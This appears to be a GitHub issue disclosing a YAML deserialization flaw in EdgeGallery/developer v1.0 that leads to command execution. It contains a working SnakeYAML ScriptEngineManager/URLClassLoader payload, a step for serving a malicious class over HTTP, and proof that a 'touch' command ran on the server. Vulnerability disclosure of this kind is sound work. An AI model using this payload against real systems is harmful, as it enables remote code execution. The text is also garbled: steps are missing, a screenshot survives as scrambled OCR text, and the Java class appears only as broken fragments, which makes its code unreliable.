New issue

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There is a Deserialization vulnerability that can execute system command. #1

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```
nirvinana commented on May 25, 2021 • edited ▼
vulnerability type: Deserialization of Untrusted Data
impact: system command execution
app version: Edgegallery/developer v1.0
 1. Create a META-INF/services file, and create a javax.script.ScriptEngineFactory file, and write what needs to be loaded
   The name of the class is pocy, and the files of this class are placed in the same directory as META-INF:
    [root@VM-0-5-centos yaml]# ls -alR
    .:
    total 20
    drwxr-xr-x 3 root root 4096 Mar 29 17:37 .
    dr-xr-x---. 12 root root 4096 Mar 29 17:37 ...
    drwxr-xr-x 3 root root 4096 Mar 26 23:37 META-INF
    -rw-r--r- 1 root root 1639 Mar 29 17:37 pocy.class
    -rw-r--r 1 root root 1630 Mar 29 17:37 pocy.java
    ./META-INF:
    total 12
    drwxr-xr-x 3 root root 4096 Mar 26 23:37 .
    drwxr-xr-x 3 root root 4096 Mar 29 17:37 ...
    drwxr-xr-x 2 root root 4096 Mar 27 08:06 services
    ./META-INF/services:
    total 12
    drwxr-xr-x 2 root root 4096 Mar 27 08:06 .
    drwxr-xr-x 3 root root 4096 Mar 26 23:37 ...
    -rw-r--r-- 1 root root 6 Mar 27 08:06 javax.script.ScriptEngineFactory
    [root@VM-0-5-centos yaml]#
    [root@VM-0-5-centos yaml]# cat META-INF/services/javax.script.ScriptEngineFactory
    pocy
 3. Start an httpserver server:
   python -m SimpleHTTPServer 60001
 4. Prepare yaml POC:
   !!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://127.0.0.1:2333/"]]]]
 5. Install and access the EdgeGallery/developer module, click "Deploy and debug" -> "Next"
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    火狐官方站点 🍯 新手上路 🛅 常用网址 🔘 京东南城
                                                                                                  □移动设备上的
     GALLERY
                                       开发工具
                                                   能力中心
                                                                     社区实验室
                                                                                              taochao | 注销 E
         项目详情
                                                             2
                                                                                      -63
                                  上传App镜像
                                                          配置部署文件
        能力详情
        〈/〉 应用开发
                         方式1: 镜像包上传至公共镜像仓库(支持dockerhub、SWR镜像仓库) ②
                         方式2: 镜像包上传至EdgeGallery镜像仓库 €
        部署调測
                               上传APP镇像包
        → 应用发布
                         方式3: 镜像包上传至私有边缘节点
                               如何搭建私有边缘节点,请参考 安装向导
                                                  Port Wild
                               导入节点信息IP:
     Deploy and debug
                                        0
                                                                                     Next
```

public String getOutputStatement(String toDisplay) {

public String getProgram(String... statements) {

return null;

```
}
@Override
public ScriptEngine getScriptEngine() {
    return null;
}
}

10. Log in to the host and verify whether the command is executed successfully.

    developer-be-0:/tmp$ ls -al /tmp/ha*
    -rw-r---- 1 eguser eggroup 0 Mar 29 14:30 /tmp/hackercor0ps

    developer-be-0:/tmp$ ||

We can see that the "touch /tmp/hackercor0ps" command was successfully executed.
```

Assignees
No one assigned

Labels
None yet

Projects
None yet

Milestone
No milestone
Development
No branches or pull requests

1 participant

